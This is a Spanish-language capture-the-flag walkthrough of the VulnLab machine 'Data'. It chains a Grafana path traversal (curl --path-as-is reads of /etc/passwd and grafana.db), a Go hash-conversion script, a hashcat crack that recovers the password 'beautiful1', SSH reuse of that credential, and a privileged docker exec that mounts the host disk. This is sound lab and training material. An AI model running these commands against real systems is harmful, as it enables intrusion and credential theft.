> For the complete documentation index, see [llms.txt](https://rodgar.gitbook.io/rodgar/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://rodgar.gitbook.io/rodgar/plataformas/vulnlab/vulnlab-data.md).

# VulnLab Data

{% embed url="<https://api.vulnlab.com/api/v1/share?id=e2e6e3f5-538f-49e4-9ecd-d312223f55b9>" %}

#### Nmap

Observamos los puertos abiertos.

```javascript
❯ sudo nmap -sS -PN -n -vvv --open --min-rate 5000 10.10.91.60 -oG port

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
3000/tcp open  ppp     syn-ack ttl 62
```

***

El host **10.10.91.60** está activo y tiene dos puertos abiertos: **22/tcp**, con **SSH (OpenSSH 7.6p1 en Ubuntu)**, y **3000/tcp**, donde corre **Grafana** accesible vía web y redirigiendo al panel de **login**. Esto indica un sistema Linux con acceso remoto por SSH y una aplicación web administrativa que podría ser objetivo de análisis de seguridad.

```javascript
❯ sudo nmap -sVC  -p22,3000 10.10.91.60 -oN target.txt

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 42:03:ae:07:e9:56:04:55:a5:96:7c:02:e2:ce:13:56 (RSA)
|   256 fe:46:6e:bd:00:07:a2:d8:84:4c:ff:ba:c4:62:0f:3e (ECDSA)
|_  256 0e:0d:a9:cc:db:22:b7:d8:9a:32:d0:c7:f1:3f:0f:5d (ED25519)
3000/tcp open  http    Grafana http
| http-title: Grafana
|_Requested resource was /login
|_http-trane-info: Problem with XML parsing of /evox/about
| http-robots.txt: 1 disallowed entry 
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

```

***

El escaneo con **http-enum** sobre el puerto **3000** confirma que el servicio es **Grafana** y revela varias rutas relevantes: **/login/** como página de autenticación, **/robots.txt**, y los directorios **/api/** y **/api-docs/**, ambos protegidos con **401 Unauthorized**, lo que indica la presencia de una API accesible solo con credenciales.&#x20;

Estos endpoints son interesantes para continuar la enumeración, ya que podrían exponer información o funcionalidades si existen fallos de autenticación o versiones vulnerables de Grafana.

```javascript
❯ sudo nmap -sCV --script=http-enum -p 3000 10.10.91.60

PORT     STATE SERVICE VERSION
3000/tcp open  http    Grafana http
|_http-trane-info: Problem with XML parsing of /evox/about
| http-enum: 
|   /login/: Login page
|   /robots.txt: Robots file
|   /api/: Potentially interesting folder (401 Unauthorized)
|_  /api-docs/: Potentially interesting folder (401 Unauthorized)
```

***

Observamos al grafana que corre en el puerto 3MIL observamos tambien su version, Buscando por esa version de grafana logramos encontrar el siguiente exploit.

{% embed url="<https://www.exploit-db.com/exploits/50581>" %}

<figure><img src="/files/mcGWDJ3kgP5aSZGT2CX9" alt=""><figcaption></figcaption></figure>

***

#### Web

La ejecución del script contra Grafana confirma una **vulnerabilidad de lectura arbitraria de archivos**, ya que fue posible acceder al contenido de **/etc/passwd** desde el servidor remoto.

```javascript
❯ python3 grafana.py -H http://10.10.91.60:3000/
Read file > /etc/passwd

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

Read file > 
```

En el siguiente articulo se describe donde se almacena la base de datos de grafana asi que vamos a apuntar para esa ruta.

{% embed url="<https://stackoverflow.com/questions/65860003/physical-location-of-grafana-dashboards>" %}

***

Esto indica que el archivo **/var/lib/grafana/grafana.db** **sí fue leído correctamente**, pero su contenido aparece ilegible porque es una **base de datos SQLite en formato binario**, no texto plano.

```javascript
❯ python3 grafana.py -H http://10.10.91.60:3000/
Read file > /var/lib/grafana/grafana.db
SQLite format 3@  Yí	Y.O|‚â˚ˆÒÏÁ‚ÿv
a	ÿ£	á¨	"%¯ÉıÅ
```

***

Se logró explotar con éxito una vulnerabilidad de **path traversal en Grafana**, utilizando `curl` con la opción `--path-as-is` y un plugin vulnerable, lo que permitió descargar directamente desde el servidor el archivo **`/var/lib/grafana/grafana.db`** hacia la máquina atacante, confirmado por su tamaño real y formato SQLite.&#x20;

```javascript
❯ curl 'http://10.10.91.60:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' --path-as-is --output grafana.db
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 584.0k 100 584.0k   0      0 439.6k      0   0:00:01  0:00:01 --:--:-- 366.0k

❯ ls -l
.rw-rw-r-- kali kali 584 KB Sun Feb  1 13:44:12 2026  grafana.db
```

***

Abrimos la base de datos usando sqlitebroser observamos que existen 43 tablas dentro de la base de datos.

<figure><img src="/files/s8MgJyeHV6vtyi4KXTVm" alt=""><figcaption></figcaption></figure>

***

Observamos dos usuarios y sus respectivas contraseñas en formato hash.

<figure><img src="/files/4EBkO6EE9TwU2gpAJ8Pf" alt=""><figcaption></figcaption></figure>

***

Nos creamos un script en GO para covertir el hash a un formato manejable usando hashcat

```go
package main

import (
    b64 "encoding/base64"
    hex "encoding/hex"
    "fmt"
)

func main() {

    var password  = "dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8"
    var salt  = "LCBhdtJWjl"

    decoded_hash, _ := hex.DecodeString(password)
    hash64 := b64.StdEncoding.EncodeToString([]byte(decoded_hash))
    salt64 := b64.StdEncoding.EncodeToString([]byte(salt))
    fmt.Println("sha256:10000:" + salt64 + ":" + hash64 + "\n")
}
```

***

Creamos el hash&#x20;

```javascript
❯ go run crack-grafana.go
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=

```

***

&#x20;El hash del usuario boris fue convertido al formato compatible con hashcat y crackeado exitosamente usando el wordlist rockyou.txt, recuperando la contraseña beautiful1, la cual puede ser reutilizada para acceder a servicios como Grafana o S

```javascript
❯ hashcat -m 10900 sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag= /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-Intel(R) Core(TM) Ultra 9 285H, 1438/2877 MB (512 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 513 MB (1526 MB free)

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:beautiful1
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0...O1Hag=
Time.Started.....: Sun Feb  1 14:05:14 2026 (0 secs)
Time.Estimated...: Sun Feb  1 14:05:14 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:     6397 H/s (8.67ms) @ Accel:143 Loops:1000 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1716/14344385 (0.01%)
Rejected.........: 0/1716 (0.00%)
Restore.Point....: 1144/14344385 (0.01%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:9000-9999
Candidate.Engine.: Device Generator
Candidates.#01...: cuddles -> ariel
Hardware.Mon.#01.: Util: 58%

Started: Sun Feb  1 14:05:12 2026
Stopped: Sun Feb  1 14:05:16 2026
```

***

#### SSH

Tras crackear el hash de Grafana y recuperar la contraseña del usuario boris, se probó la reutilización de credenciales contra el servicio SSH expuesto en el puerto 22. La autenticación fue exitosa, permitiendo el acceso interactivo al sistema como el usuario boris.

```javascript
❯ ssh boris@10.10.91.60
The authenticity of host '10.10.91.60 (10.10.91.60)' can't be established.
ED25519 key fingerprint is: SHA256:Dky4yLZg+jjesDApdwlTw3dE0KtIu99lMrDOhgDpbxI
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.91.60' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
boris@10.10.91.60's password: 
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-1060-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Feb  1 19:11:18 UTC 2026

  System load:  0.0               Processes:              99
  Usage of /:   19.8% of 7.69GB   Users logged in:        0
  Memory usage: 25%               IP address for eth0:    10.10.91.60
  Swap usage:   0%                IP address for docker0: 172.17.0.1


0 updates can be applied immediately.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


Last login: Sun Jan 23 13:11:53 2022 from 10.10.1.254
boris@ip-10-10-10-11:~$ 
```

***

#### Escalada de Privilegios

```javascript
boris@ip-10-10-10-11:/var/backups$ sudo -l
Matching Defaults entries for boris on ip-10-10-10-11:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User boris may run the following commands on ip-10-10-10-11:
    (root) NOPASSWD: /snap/bin/docker exec *
boris@ip-10-10-10-11:/var/backups$ 
```

***

Usando la vulnerabilidad de grafana observamos el nombre del contenedor.

```javascript
❯ curl --path-as-is http://10.10.85.251:3000/public/plugins/alertlist/../../../../../../../../etc/hostname
e6ff5b1cbc85
```

***

Resumen rápido

* `docker exec --privileged` → control total del contenedor
* Acceso al dispositivo `/dev/xvda1`
* Montaje del filesystem del host
* Lectura directa de `/root/root.txt`

```javascript
boris@ip-10-10-10-11:~$ sudo docker exec -it --privileged -u root e6ff5b1cbc85 bash
bash-5.1# 
bash-5.1# mkdir -p /mnt/pwned
bash-5.1# mount /dev/xvda1 /mnt/pwned
bash-5.1# cd /mnt/pwned/root
bash-5.1# 
bash-5.1# cat root.txt 
VL{****5553b8b53457d080b0a6f033bc16}
bash-5.1# 
```
